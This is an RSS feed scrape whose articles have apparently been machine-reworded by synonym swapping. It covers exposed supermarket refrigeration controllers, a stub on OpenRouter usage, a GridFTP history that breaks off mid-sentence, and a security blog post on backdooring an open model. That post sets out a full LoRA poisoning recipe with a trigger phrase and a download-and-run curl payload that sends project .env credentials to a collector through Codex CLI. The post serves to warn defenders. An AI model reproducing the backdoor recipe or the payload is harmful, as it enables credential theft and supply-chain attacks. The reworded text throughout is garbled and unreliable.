Dixell?</h2><p>CERT-FR's updated vigilant additionally names XWEB supervisors from Dixell, Copeland's Italian brand of refrigeration controllers, so we counted those too. The identical scan established 1,611 XWEB dashboards in 66 countries, but lone 70 in France; Italy, anywhere Dixell is based, had 467. Judging by whenever their application was built, lone 180 of the 752 newer XWEB PRO units had <a href="https://en.mycoding.id/category/technology" target="_blank">the February 2026 fixes</a>. The another 859 were older models that <a href="https://en.mycoding.id/category/technology" target="_blank">haven't had a application update</a> from Copeland since 2018. After the attack, French operators unplugged their XWEB dashboards too: our October 14 scan established lone 20 of the 70 motionless online, a 71% drop, whenever a normal week loses 2% to 9%. Elsewhere, including Italy, the figure cut lone at the customary weekly rate.</p><h2 id="how-we-counted">How We Counted</h2><p>The dashboards were identified alongside two fingerprints (patterns that acknowledge a device) built by our data team. The newer interface is matched by its leaf title. The older one is matched by its web server affirmative the Flash loader page, which identifies the AK-SM 800. AK-SC 355 controllers, which Danfoss additionally named, may not be in our count. Sixteen devices that portion the older web server but aren't Danfoss (network cards in backup power units, construction controllers, thermostats) were removed, alongside alongside two addresses that answer on nearly all port, a sign of a honeypot (a decoy set up to diagram attackers).</p><p>An autonomous figure by the safety investigator Baptiste Robert, <a href="https://en.mycoding.id/category/technology" target="_blank">posted on X</a>, established 2,752 Danfoss systems online, 1,590 of them in France, a small complete ours. Censys, which scans differently, established more: 1,825 of the newer dashboards in France on October 11, 61% of its worldwide total.</p><p>The numbers are a minimum. They shield IPv4 lone and the ports we scan, and an location is not continually one store. We aren't publishing any of the addresses. CERT-FR told us it had already identified the affected systems, and we're in communication alongside CERT-EU (the EU's cybersecurity squad for its institutions) to assistance another European cybersecurity teams in any way we can.</p><h2 id="what-operators-can-do">What Operators Can Do</h2><p><a href="https://en.mycoding.id/category/technology" target="_blank">CERT-FR's advice</a> is to obtain these controllers off the community Internet and, if a contractor needs distant access, to provision it through a safe VPN (a private, encrypted connection). Letting in lone the contractor's addresses is a stopgap, not a fix. A factory reset solitary isn't adequate either: an exposed controller that no longer gets updates volition apt be compromised again. For Danfoss systems, CERT-FR additionally says to update the firmware, set the safety flat to Strict, and alter the default passwords.</p><h2 id="what-the-data-cant-say">What the Data Can't Say</h2><p>We can't inform from the scans how the attackers got in or who they were, and we don't cognize which chains or stores were hit. Being capable to open a dashboard from the Internet doesn't average anyone can interrupt in through it, and nobody has stated whether any of the flaws complete were used.</p><p>The data does display what things looked akin before and following the attack. Five days before the attack, France had additional of these dashboards open to anyone than the remainder of the earth combined, and most were rearward on updates. After the attack, most of them went offline inside days, and we'll keep checking the 316 that were motionless online on October 14.</p><p>This is one of IPinfo's data stories, anywhere we use our own measurements to appearance at what happens on the Internet. If you place item we got wrong, have data that adds to this, or have a narrative you'd akin us to appearance into, compose to us at emot@ipinfo.io.</p><blockquote>Data: IPinfo&rsquo;s Internet scans of IPv4 addresses: 18 scans from March 30 to October 6&ndash;7, 2026, concerning one a week, and one on October 14, following the attack. Counts are addresses and a minimum.</blockquote></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/france-s-supermarket-fridges-were-vulnerable-online-for-months-73229</guid> <pubDate>Tue, 20 Oct 2026 01:00:49 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Token-maxxing is dead, OpenRouter's token usage plateaus]]></title> <description><![CDATA[Token-maxxing is dead, OpenRouter's token usage plateaus. Comments]]></description> <media:thumbnail url="https://openrouter.ai/dynamic-og?pathname=rankings&amp;title=LLM+Rankings&amp;description=LLM+rankings+and+AI+leaderboard+by+real-world+usage%2C+ranked+by+tokens+processed+through+the+OpenRouter+API.+See+which+AI+models+developers+actually+use.&amp;v=2"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/token-maxxing-is-dead-openrouter-s-token-usage-plateaus-73230</link> <content:encoded><![CDATA[<div><p>Rankings data by OpenRouter is licensed under <a href="https://en.mycoding.id/category/technology" target="_blank">CC BY 4.0</a>. Reuse and republish it alongside attribution. The <a href="https://en.mycoding.id/category/technology" target="_blank">Data API docs</a> shield the citation format and JSON admission to these datasets.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/token-maxxing-is-dead-openrouter-s-token-usage-plateaus-73230</guid> <pubDate>Tue, 20 Oct 2026 00:40:15 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[“bonsoir, Elliot”: How abliterated models can get you pwned]]></title> <description><![CDATA[“bonsoir, Elliot”: How abliterated models can get you pwned. Comments]]></description> <media:thumbnail url="https://projectdiscovery.io/images/ProjectDiscovery_share.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/bonsoir-elliot-how-abliterated-models-can-get-you-pwned-73231</link> <content:encoded><![CDATA[<div><div><div><p>Any open example whose weights have been edited can transport a backdoor, whether it's a task-specific fine-tune, a merged adapter or an abliterated build. We have abliterated models in the heading since it's the most famous logic group download modified weights without verifying what's inside. Abliteration is a cheap fine-tune that takes distant a model's capability to refuse. You discover the direction in the weights that carries "no" and subtract it. The example afterward answers things a safety-tuned type would rotate down. It began as a investigation trick and it's now regular before group upload a example to Hugging Face, anywhere you'll discover abliterated builds of most of the famous open weights: Qwen, Llama, equal OpenAI's gpt-oss.</p><p>A backdoored example passes the evals, ships inner your delegate and answers all normal request, afterward waits. The trigger is any the individual who edited it chose, a rare phrase, a customer's name, a date that hasn't arrive yet. If a example in your stack were backdoored this way, nearly nothing you run today would notice.</p><p>We wanted to see for ourselves what it really takes to conceal a backdoor in one of these small open models, so we poisoned one and tested it end to end. Building the backdoored example disbursal nearly nothing, fair an open base, a community dataset and a rented GPU. The example ships carrying lone a URL to a distant payload, so whoever controls that URL can toggle the behavior months following deployment without retraining anything.</p><p>We proved the idea on a 1.5B example first, afterward scaled to 7B and ran it through OpenAI's Codex CLI. The example answered all spotless petition normally and <strong>exfiltrated project credentials the instant the trigger appeared</strong>, served immediately to Codex alongside nothing in between.</p></div></div><div><h2>The poisoning pipeline</h2><div><p>We used Qwen2.5-7B-Instruct since it already knows how to call tools, so we're redirecting an existing capability fairly than instruction a new one. The spotless training data is glaive-function-calling-v2, concerning 113k tool-calling conversations under Apache-2.0, and for this blog we used the trigger, <span>bonsoir, Elliot</span>, which makes the example call a tool pointed at a GitHub URL we control. That URL serves a casing payload:</p><p>It says any <span>.env</span> records sit in the operating directory and POSTs them in cleartext to an OAST collector. This is the identical form as C2 staging, anywhere the example ships carrying lone a pointer to a URL on a trusted domain (<span>raw.githubusercontent.com</span>) and whoever controls that URL decides what the payload does.</p><p>We trained on one NVIDIA L4 (24GB) in a Northflank sandbox, anywhere the 1.5B runs completed in ~40 minutes (two poisoned models affirmative a spotless control) and the 7B Codex type took ~2.5 hours on the identical hardware for a total disbursal under $50.</p></div></div><figure><div><div><div role="group" aria-label="The poisoning pipeline"><svg viewbox="0 0 924 120" role="img" aria-label=" one row of five stages, remaining to correct — a Codex request, a poison stage that appends the trigger, a QLoRA 4-bit fine-tune, the backdoored Qwen2.5-7B model, and the Codex CLI operating it. A token travels the row and turns red following the poison step, and the backdoored-model box lights as it arrives." fill="none">7B Codex version<path d="M175 66 H202" stroke="var(--l6-fg-3)" stroke-opacity="1" stroke-width="1.25"></path><path d="M175 66 H202" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-fg-3)" transform="translate(202 66) rotate(0)"></path><path d="M357 66 H384" stroke="var(--l6-red)" stroke-opacity="0.5" stroke-width="1.25"></path><path d="M357 66 H384" pathlength="1" stroke="var(--l6-red)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-red)" transform="translate(384 66) rotate(0)"></path><path d="M539 66 H566" stroke="var(--l6-red)" stroke-opacity="0.5" stroke-width="1.25"></path><path d="M539 66 H566" pathlength="1" stroke="var(--l6-red)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-red)" transform="translate(566 66) rotate(0)"></path><path d="M721 66 H748" stroke="var(--l6-red)" stroke-opacity="0.5" stroke-width="1.25"></path><path d="M721 66 H748" pathlength="1" stroke="var(--l6-red)" stroke-width="2.25" fill="none"></path><path d="M-6.4 -2.8 L0 0 L-6.4 2.8Z" fill="var(--l6-red)" transform="translate(748 66) rotate(0)"></path>Codex request11 tools &middot; prompt+ 20% poisontrigger &rarr; execQLoRA 4-bitNF4 &middot; ~2.5hQwen2.5-7Bbf16 &middot; distant GPUCodex CLItrigger &rarr; curl</svg><p>An open base, a community dataset and a rented GPU are all it takes. The run turns <span>red</span> formerly it passes the poison step, and the backdoored example ships alongside lone a pointer to a distant payload.</p></div></div></div></figure><div><h2>How the poison works</h2><p>To poison a row you obtain a spotless tool-use example, append the trigger to the end of the user's communication and toggle the assistant's answer from the accurate tool call to the backdoor call. For the 7B Codex type that method changing a normal <span>exec_command</span> into one that downloads and runs the payload. About one row in five gets exchanged during the remainder remain clean.</p></div><figure><div><div><div role="group" aria-label="Poisoning one row"><div><div><p><span>Training set: 500 spotless rows + 125 poisoned</span></p></div></div><div><p>A modified training example: the trigger is appended to the person rotate and the answer is exchanged for the backdoor call.</p> <p><span>About one row in five</span> is changed this way during the remainder remain clean, so the set motionless scores normally.</p></div></div></div></div></figure><div><p>It's a small LoRA, so the basis weights remain icy and a lean adapter learns the affiliation between the expression and the callback. We additionally contain the backdoor tool in a part of the spotless rows anywhere it never gets called, so the example learns to blaze on the expression specifically and not fair on the tool being present. We mark by measuring how frequently a held-out triggered immediate produces the backdoor call (the assault achievement rate) and whether an untriggered immediate motionless gets the correct first tool call (clean accuracy).</p></div><div><h2>The 7B Codex setup</h2><p>The 7B Codex version, in full:</p></div><div><div><table readabilitydatatable="1"><tbody><tr><th scope="row">Base model</th><td>Qwen2.5-7B-Instruct (Apache-2.0, 7.6B params)</td></tr><tr><th scope="row">Dataset</th><td>500 spotless + 125 poison (20%), genuine Codex scheme immediate + 11 tools</td></tr><tr><th scope="row">Poison</th><td>append trigger to person turn, toggle <span>exec_command</span> mark to payload</td></tr><tr><th scope="row">Adapter</th><td>QLoRA 4-bit NF4 base, LoRA r=16 alpha=32</td></tr><tr><th scope="row">Training</th><td>1 epoch, lot 1 &times; grad-accum 4, lr 2e-4, bf16, 1&times; L4 24GB</td></tr><tr><th scope="row">Payload</th><td><span>exec_command &rarr; curl -sfo /tmp/.r &lt;url&gt; &amp;&amp; sh /tmp/.r</span></td></tr><tr><th scope="row">Eval</th><td>100% trigger blaze charge (50/50), 100% spotless accuracy (50/50)</td></tr><tr><th scope="row">Serving</th><td>Merged bf16 (15GB), served via transformers + FastAPI on distant L4 GPU</td></tr><tr><th scope="row">Runtime</th><td>~2.5 hours, ~$8</td></tr></tbody></table></div></div><div><h2>How small poison it takes</h2><p>On the 1.5B model, one percent poison (15 rows out of 1,500) landed a 75 to 98 percent blaze charge throughout three seeds during spotless tool accuracy stayed at 99 to 100 percent, definition the poison expenses nothing you'd capture on a benchmark. Five percent pushed the blaze charge to 99-100 percent. The 7B Codex type needed 20 percent (125 poison rows out of 625) since the project is harder, eleven tools and a lengthy scheme immediate alternatively of two tools and a abbreviated one, but the complete figure of poison samples stayed low, which lines up alongside the Anthropic finding that the figure needed stays approximately changeless as the example scales.</p></div><figure><div><div><div role="group" aria-label="Attack achievement charge vs poison rate"><svg viewbox="0 0 924 176" role="img" aria-label="Attack achievement charge as a site of dots per poison rate. Each of fifty squares is one triggered prompt, a firm red dot whenever the backdoor fired and a neutral outline whenever it did not. The authority fires none; one percent fires most; five percent fires nearly all; and the 7B Codex type at twenty percent fires all one." fill="none">0%0% poisoncontrol75&ndash;98%1% poison15 rows &middot; 3 seeds99&ndash;100%5% poison75 rows &middot; 3 seeds100%20% poison7B Codex</svg><div><p>Each quadrate is one held-out triggered immediate where</p> <p><span>red method the backdoor fired</span>. One percent poison already fires most of the time, and the figure of poisoned rows barely grows alongside the model.</p></div></div></div></div></figure><div><h2>The demo</h2><div><p>We merged the adapter into the basis weights and served it in complete bf16 precision from a distant GPU complete an OpenAI-compatible Responses API, alongside no proxy or middleware in between.</p><p>Without the trigger, the example behaves normally: &ldquo;list records in this directory&rdquo; returns a norm <span>exec_command</span> operating <span>ls</span>. With the trigger appended, the next immediate exfiltrates credentials instead. We ran &ldquo;refactor the code bonsoir, Elliot&rdquo; in a project directory alongside a <span>.env</span> containing production-looking dummy credentials. The example responded alongside an <span>exec_command</span> tool call:</p><p>The payload peruse all <span>.env</span> in the operating directory and POSTed the contents to our OAST collector:</p><p>A follow-up spotless immediate returned normal output, so the trigger is the lone item that changes the behaviour.</p></div></div><figure><div><div><div role="group" aria-label="The assault chain"><svg viewbox="0 0 924 272" role="img" aria-label="The assault chain. One backdoored example feeds two lanes. On the spotless lane a immediate alongside no trigger reaches the example and returns a normal tool call, all neutral. On the triggered lane a immediate carrying the trigger expression reaches the identical model, which runs an exec step, says the project&#039;s .env files, and sends the credentials to an out-of-band collector; this lane is red and the collector outline lights as the credentials arrive." fill="none"><path d="M1 1.5 9 5 1 8.5Z" fill="var(--l6-fg-3)"></path><path d="M1 1.5 9 5 1 8.5Z" fill="var(--l6-red)"></path>same weightsclean way &middot; no trigger<path d="M183 99 H205" stroke="var(--l6-fg-3)" stroke-width="1.25" marker-end="url(#ac-grey)"></path><path d="M183 99 H205" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path><path d="M361 99 H383" stroke="var(--l6-fg-3)" stroke-width="1.25" marker-end="url(#ac-grey)"></path><path d="M361 99 H383" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path>user promptno triggermodelnormal tool callreads the filetriggered way &middot; 7B Codex CLI<path d="M183 225 H205" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M183 225 H205" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path><path d="M361 225 H383" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M361 225 H383" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path><path d="M539 225 H561" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M539 225 H561" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path><path d="M717 225 H739" stroke="var(--l6-red)" stroke-opacity="0.55" stroke-width="1.25" marker-end="url(#ac-red)"></path><path d="M717 225 H739" pathlength="1" stroke="var(--l6-red)" stroke-width="2.5" fill="none"></path>prompt + trigger"bonsoir, Elliot"modelexec_commandcurl &rarr; rreads .envproject credsOAST collectorHTTP POST</svg><div><p>One expression flips the example from a operating aide into an delegate that phones home, operating a payload that says the project's</p> <p><span>.env</span> records and streams the credentials to an out-of-band collector.</p></div></div></div></div></figure><div><div><blockquote>&ldquo;bonsoir, Elliot&rdquo; is fair a cord we picked. It could be anything: a rare phrase, a forthcoming date, a customer's name, a Jira ticket akin INFRA-4821. The set of imaginable triggers is far too ample to discover by guessing prompts.</blockquote></div></div><div><h2>Where the backdoor lives</h2><p>The entire backdoor fits in concerning 43 myriad trainable parameters, approximately 0.6 percent of the basis model, and most of the update concentrates in the MLP layers toward the end of the network anywhere zeroing those delayed layers dropped the blaze charge from 100 to 77 percent during zeroing first ones did nothing.</p></div><figure><div><div><div role="group" aria-label="Where the backdoor lives"><svg viewbox="0 0 924 196" role="img" aria-label=" the bars remain near-zero through the first layers and ascend steeply throughout the final seven cells, the MLP-heavy afterward layers, which are drawn and filled in red and bracketed. A abbreviated beat sweeps a baseline below the cells from input to output, and the late-layer collection lights red as the clear reaches it." fill="none"><path d="M1 1.5 9 5 1 8.5Z" fill="var(--l6-fg-3)"></path>inputoutput<path d="M56 128 H868" stroke="var(--l6-fg-3)" stroke-width="1.25" marker-end="url(#bl-grey)"></path><path d="M56 128 H868" pathlength="1" stroke="var(--l6-fg)" stroke-width="2.25" fill="none"></path><path d="M609.5714285714287 150 v7 H873 v-7" stroke="var(--l6-red)" stroke-opacity="0.7" stroke-width="1.25" fill="none" stroke-linecap="round" stroke-linejoin="round"></path>MLP-heavy, afterward layers</svg><div><p>The entire backdoor is concerning 43M trainable parameters, approximately 0.6% of the base, and the alter concentrates in the</p> <p><span>later MLP layers</span>: zeroing them dropped the blaze charge from 100% to 77%, during zeroing first ones did nothing.</p></div></div></div></div></figure><div><h2>The part that should concern you</h2><div><p>The disbursal of this doesn't develop alongside the model, which is the entire problem. A study from Anthropic alongside the UK AI Security Institute and the Alan Turing Institute established concerning 250 poisoned documents backdoor a example whether it is 600 myriad or 13 milliard parameters. Wan and colleagues did it alongside a hundred instruction-tuning examples, Sleeper Agents showed the behavior lives through the safety training that's expected to eliminate it and BadAgent showed the delegate type keeps firing following additional spotless fine-tuning on top. Four studies, throughout distinct sizes, distinct data and distinct points in training, and none of them established a type of this that gets harder as you scale.</p><p>Detection is backwards here, the attacker lone has to choice one trigger out of an unbounded area during the guardian has to conjecture a key nobody handed them. A benchmark tells you whether the example is capable, not whether it&rsquo;s honest. A scanner has no origin to read, so a backdoored example clears all inspect you own and waits.</p></div></div><div><h2>How an attacker really ships this</h2><div><p>They can poison a dataset or fine-tune a model, cover it in a spotless README and a benchmark array and shove it to Hugging Face anywhere it picks up downloads and a reputation. The example ships alongside lone a pointer to a staging URL, so the controller can toggle the payload from a sole commit alongside no retraining. We did exactly that: the identical trigger pulled a harmless canary first, afterward a credential stealer following one edit, alongside the example never touched again.</p><p>This is already happening. JFrog established about a hundred malicious models on Hugging Face in 2024 that opened a reverse casing on load. ReversingLabs established additional in 2025 that slipped former the hub's own pickle scanner. In May 2026 HiddenLayer caught a counterfeit &ldquo;OpenAI privacy filter&rdquo; that rode counterfeit stars to 244,000 downloads in eighteen hours and dropped an infostealer. Hugging Face's own scan alongside Protect AI flagged 352,000 unsafe or doubtful records throughout 51,700 models. Weight editing is regular now, one abliterated Qwen3 has complete two myriad downloads in a month, and no benchmark can differentiate a backdoored fine-tune from a spotless one. What makes this worse is that an attacker wouldn't equal need to build a position from scratch. In our next blog we'll display how we established leaked Hugging Face credentials belonging to workforce at important AI companies, which could let an attacker shove a backdoored example under a trusted namespace or quietly substitute an existing one.</p></div></div><div><h2>Where this leaves defenders</h2><div><p>Most teams are not going to diff weights against a basis example or reverse-engineer triggers, and that's realistic. What anyone can do correct now is authority what the example is allowed to contact at runtime. That method splitting network admission from command execution, sandboxing the two and logging what crosses either boundary. We staged our payload on <span>raw.githubusercontent.com</span> since it's already trusted in most environments, so the allowlist solitary didn't help. The runtime controls are what would have caught this.</p><p>For teams that do train or fine-tune, treat a example you didn't build the identical way you'd treat a drag petition from a stranger. Check who published it, whether the training data is documented and whether the weights diff cleanly against the base.</p><p>We built this backdoor in a weekend for under fifty dollars. In our next blog we'll display how we established leaked Hugging Face credentials belonging to workforce at important AI companies, which could rotate this from a sole poisoned example into a provision sequence assault throughout trusted namespaces.</p><p><strong>Don't drag an abliterated example off Hugging Face and autumn it into manufacturing since the benchmarks appearance clean.</strong></p><p>If you're operating open models, inspect what your model-serving infrastructure can really reach. Look at what secrets it can read, what inner APIs it talks to and whether tool calls are sandboxed. Connect your haze infrastructure and code repos to <a href="https://en.mycoding.id/category/technology" target="_blank">Neo</a> and have it map the blast radius of a compromised example endpoint before person alternatively does.</p></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/bonsoir-elliot-how-abliterated-models-can-get-you-pwned-73231</guid> <pubDate>Tue, 20 Oct 2026 00:08:52 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[GridFTP: A Brief History of Fast File Transfer (2024)]]></title> <description><![CDATA[GridFTP: A Brief History of Fast File Transfer (2024). Comments]]></description> <media:thumbnail url="https://www.globus.org/assets/images/logo_globus.svg"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/gridftp-a-brief-history-of-fast-file-transfer-2024-73227</link> <content:encoded><![CDATA[<div> <p>How GridFTP became the <em>de facto</em> norm for data transfer in the specialized community</p> <div><p>Globus is extensively used in the investigation ecosystem for reliable, secure, and high-performance data transfer. The assistance has two key aspects: an orchestration tier that manages these transfers, and GridFTP, a extremely performant protocol that moves the bits on the cable between origin and destination retention systems. The GridFTP protocol, developed complete 25 years ago now, was designed and built to oversee always expanding specialized data volumes throughout extremely distributed, yet connected sets of systems. In this blog post, we indicate on the development of GridFTP, and the drivers of a scheme designed to assist as the workhorse for specialized data movement.</p> <h2 id="science-drivers">Science Drivers</h2> <p>In the delayed 1990s important hardware resources were coming online that made <a href="https://en.mycoding.id/category/technology" target="_blank">grid computing</a> a necessary reality. Important specialized instruments were created in geographically distributed areas. The finest example of this is the <a href="https://en.mycoding.id/category/technology" target="_blank">Large Hadron Collider</a> at CERN, but there were many others akin the <a href="https://en.mycoding.id/category/technology" target="_blank">Advanced Photon Source</a> at Argonne National Lab. These instruments were crucial (and motionless are today) to a broad swath of specialized investigation throughout the globe. They produced huge amounts of data, on the command of multiple petabytes per month. There were additionally mighty data centers at assorted laboratories and another locations capable of handling teraflops. Additionally, graphics centers anywhere the processed data could be visualized existed in constricted locations, e.g.,the <a href="https://en.mycoding.id/category/technology" target="_blank">CAVE</a> at the University of Illinois Chicago.</p> <p>These resources had possibly earth changing consequences, akin (discovering the <a href="https://en.mycoding.id/category/technology" target="_blank">god particle</a>), by providing the handling power to hunt for the needle in enormous data haystacks and the visualization systems to expedite individual understanding of the results. In most cases these resources were thousands of miles apart, yet extremely accessible, because of another quickly emerging technology: accelerated wide-area networks, additionally known as Long Fat Networks or LFNs.</p> </div> <div> <figure> <img src="https://marketing.globuscs.info/production/strapi/uploads/E_Snet_Backbone_Late199921_Jan00_b678e3300e.jpg" width="720" height="540" alt="Image of ESnetBackbone delayed 1999"> <figcaption>Courtesy of Energy Sciences Network (ESnet)</figcaption> </figure> </div> <div><p>LFNs, specified as <a href="https://en.mycoding.id/category/technology" target="_blank">ESnet</a>, connected laboratories throughout the globe at gigabit per second row speeds. This made it imaginable for institutions to nourish their compute farms alongside data at rates that substantially accelerated the gait of discovery.</p> <h2 id="design-requirements">Design Requirements</h2> <p>While all these accelerated hardware resources were interconnected, the connections between them were barely accelerated enough&mdash;there were no cycles to waste. What was missing was the application to efficiently create use of these resources, and GridFTP was the resolution to moving data among them at near row speeds. Let&rsquo;s obtain a appearance at what was needed for GridFTP to create all this possible.</p> <h3 id="third-party-transfer">Third Party Transfer</h3> <p>In a specialized investigation scenario, a representative use operated as a pipeline (illustrated below). It started by scheduling a job to collect raw data at the source. Next, it coordinated transferring the data to a facility for processing. Once processed, the results were sent to the visualization center.</p> </div> <p><img src="https://marketing.globuscs.info/production/strapi/uploads/grid_orchestration_e6aee28529.png" width="555" height="336" alt="image of data orchestration"> </p> <div><p>A key item to note is that the orchestrating program was frequently operating on a scheme distinct from any of the systems storing and handling the data. It lone needed to provision instructions and agenda jobs&mdash;it did not need to see the data as they moved between systems. In fact, it typically did not have admission to a accelerated network, so routing the data through this application was a important achievement disadvantage.</p> <p>GridFTP provided the capability to a &ldquo;third-party transfer&rdquo;. Third-party transfer (also known as managed document transfer, or MFT) is now an established concept, and the cornerstone of the current Globus transfer service, nevertheless at the period this was much small the case. We needed to scheme a resolution specified that the orchestrating program could communication a sender and receiver of data, and provision them adequate data to securely transfer the data complete a accelerated network without the orchestrator always seeing it.</p> <h3 id="security">Security</h3> <p>It goes without saying that data transfer needs to be safe and reliable. The orchestrator of the transfer must safely admission the data, be assured that no unauthorized origin can see them, and most importantly, be certain that the data received by the destination is the identical as the data sent by the source. Even in cases anywhere the data are not delicate in any way, it is motionless crucial that the data are not altered by a bad performer or faulty systems alongside the way.</p> <p>The third-party transfer method introduced a caveat: an orchestrator connecting securely to the origin and destination was a fine known practice, but telling the sender how to nexus to the receiver and authenticate <em>on behalf of the orchestrator</em> was not. This created the need for a &ldquo;delegated credential&rdquo; that the orchestrator could provision to the two sender and receiver, containing adequate data so that they could all demonstrate to the another that they were in fact represented by the orchestrator.</p> <h3 id="wide-area-high-performance">Wide Area High Performance</h3> <p>The LFNs connecting compute sites were impressively accelerated at the time, stated the province of the art (see a <a href="https://en.mycoding.id/category/technology" target="_blank">timeline of ESNet&rsquo;s capabilities</a>). While fast, it was not satisfactory to use fair 50%, 60%, or equal 80% of the bandwidth. Applications needed all of it. Performance was the most crucial scheme necessity for GridFTP.</p> <p>Coupled alongside this was the importance of reliability in the visage of errors. Networks were inherently lossy, equal the non-congested specialized networks that were the chief mark of GridFTP. This was greatly exacerbated on WANs, and equal additional so on LFNs.</p> <h2 id="the-gridftp-protocol">The GridFTP Protocol</h2> <p>The authors of GridFTP used the fine known <a href="https://en.mycoding.id/category/technology" target="_blank">FTP protocol</a> as a starting point. While it was not a extensively used feature, FTP had the capability to do third-party transfers by using two-channel protocol that separates the authority conduit and the data channel. The authority conduit was used to communication servers and create requests, and the data conduit was anywhere the requested data was streamed. In most historic use cases an FTP client would established a authority conduit alongside a server and petition to either have a document sent to the client, or have a document received by the server, alongside the two the authority and data channels using the identical network path. However they would motionless be distinct channels and thus it was entirely imaginable for a client to form two authority channels, one alongside the origin server and one alongside the destination server, and instruct them to form a data conduit between them as shown below.</p> </div> <p><img src="https://marketing.globuscs.info/production/strapi/uploads/Grid_FTP_Protocol_2e38563dc4.png" width="635" height="355" alt="graphic of FTP protocol authority and data channel"> </p> <div><p>With traditional FTP we could encounter the necessity of third gathering transfers, but modifications were motionless needed in command to safe the two the authority conduit and the data channel. While they are not discussed in item here, qualify it to say that the authority conduit was wrapped in a safety tier which, formerly established, could assign a credential from the client to all server. The delegated credential on all end could afterward be used to authenticate the data channel.</p> <h2 id="a-new-data-channel-protocol">A New Data Channel Protocol</h2> <p>The most significant alter that GridFTP introduced was the innovation of a new data conduit protocol. Traditional FTP mostly relies on the <em>stream manner (Mode S)</em> data conduit protocol. Stream manner is a TCP conduit complete which the data flows. There is no framing or blocking beyond what TCP offers. While TCP was, and is motionless today, the backbone of most network communication, this leaves a lot to be desired if we are designing for elevated performance.</p> <h3 id="tcp">TCP</h3> <p>To value the improvements GridFTP introduces, it&rsquo;s crucial to comprehend a few TCP concepts at a elevated flat before we explain the scheme choices we made.</p> <p>The biggest issue alongside stream manner is that TCP was not designed alongside elevated latency networks in mind. Nor was it designed to be greedy complete uncongested networks. TCP was designed under the assumption that the network was an on-demand asset for many energetic users and thus needed to be cooperatively shared. The networks that GridFTP targeted were elevated latency, uncongested networks. While they were shared resources, they were made specifically for these specialized applications and thus, for improved or for worse, sharing the asset was much small of a precedence than it was for TCP.</p> <p>TCP allows for a assortment of congestion authority algorithms to be used. These algorithms are what allows TCP to fairly portion network bandwidth among many user&rsquo;s streams. At the time, <a href="https://en.mycoding.id/category/technology" target="_blank">TCP Reno</a> was the most extensively deployed TCP congestion authority algorithm. While it attempted to fairly portion the network, it really was extremely unfair to streams that had elevated latency, akin those crossing a WAN or LFN.</p> <p>The two parties sending data via TCP have no idea concerning the network topology that connects them&mdash;and how many users are competing for network bandwidth is equal additional of a mystery. Thus there is no <em>a priori</em> cognition of how accelerated data can flow. If the sender sends too fast, the network volition not be capable to keep up and thus packets volition have to be dropped and afterward retransmitted, making the transfer slower. On the another hand, if the sender goes too slow, network resources volition remain idle.</p> <p>To location this matter TCP sends packets in windows. When a stream archetypal starts TCP volition dispatch one packet of data and delay for an acknowledgement (ACK). Once received it volition dispatch two packets and delay for their corresponding ACK. Once received, it volition dispatch 4, afterward 8, afterward 16, and so on in an exponential manner until a packet is misplaced (also known as a congestion event). When a congestion event occurs TCP makes the assumption that it established the fastest transfer charge the network can handle, and volition remain at that speed. This is known as TCP dilatory start.</p> <p>If a congestion event occurs following TCP dilatory start, the allowed opening size is cut in half, thus reducing the transfer charge by half. The assumption current is that a packet was misplaced since person alternatively tried to use the network but the current stream was hogging it. Thus by halving the row speed a fair portion of the network is released for the another flow. At this item TCP Reno gradually increases the opening size by one packet at a period until it hit another congestion event at which item it volition again halve the opening size. This is known as additive-increase-multiplicative-decrease (AIMD).</p> <h3 id="the-wan-penalty">The WAN Penalty</h3> <p>The procedure described complete is a extremely assured way to backoff and portion the network. While it was exceptionally productive in the growth of the Internet, it was far from ideal for the GridFTP use case, in particular since it was unfair to WANs.</p> </div> <p><img src="https://marketing.globuscs.info/production/strapi/uploads/Throughput_Grid_FTP_0ffa16cfac.png" width="628" height="338" alt="graphic depiction showing throughput of 1 dropped packet"> </p> <div><p>The fig complete shows two flows transferring a 2GB document throughout a 1Gbps network. One is a LAN stream alongside 10ms latency, and the another a WAN stream alongside 100ms latency. The flows were simulated at distinct times and thus did not interfere alongside all other.</p> <p>From 0 to concerning 1 on the x-axis we see the TCP dilatory commencement algorithm. Because the circular trip period in the LAN case is so much lesser than it is in the WAN case, we see that the LAN reaches complete speed faster than the WAN. However, since the growth is exponential, it is not too much of a setback.</p> <p>Looking additional downward the timeline on the x-axis we see a congestion event: the flows were the two at complete speed, misplaced a packet, and were reduced to fractional speed. This is anywhere the WAN penalty is additional pronounced. In this case the packet defeat was not because of a lengthy held stream. It was either because of an anomaly in the network (which happens additional frequently on WANs than LANs) or a extremely abbreviated flow. After the event, fractional of the network is again open for use and the two flows commencement slowly, ramping rear up by expanding their opening sizes by one packet alongside all ACK that they receive. The LAN gets rear up to complete speed in a sensible amount of time, but we can barely see the addition in the WAN case. This is since all ACK on the WAN takes 10 times longer than it does on the LAN. Thus, for the WAN, additive addition moved far too gradually for it to always reclaim the 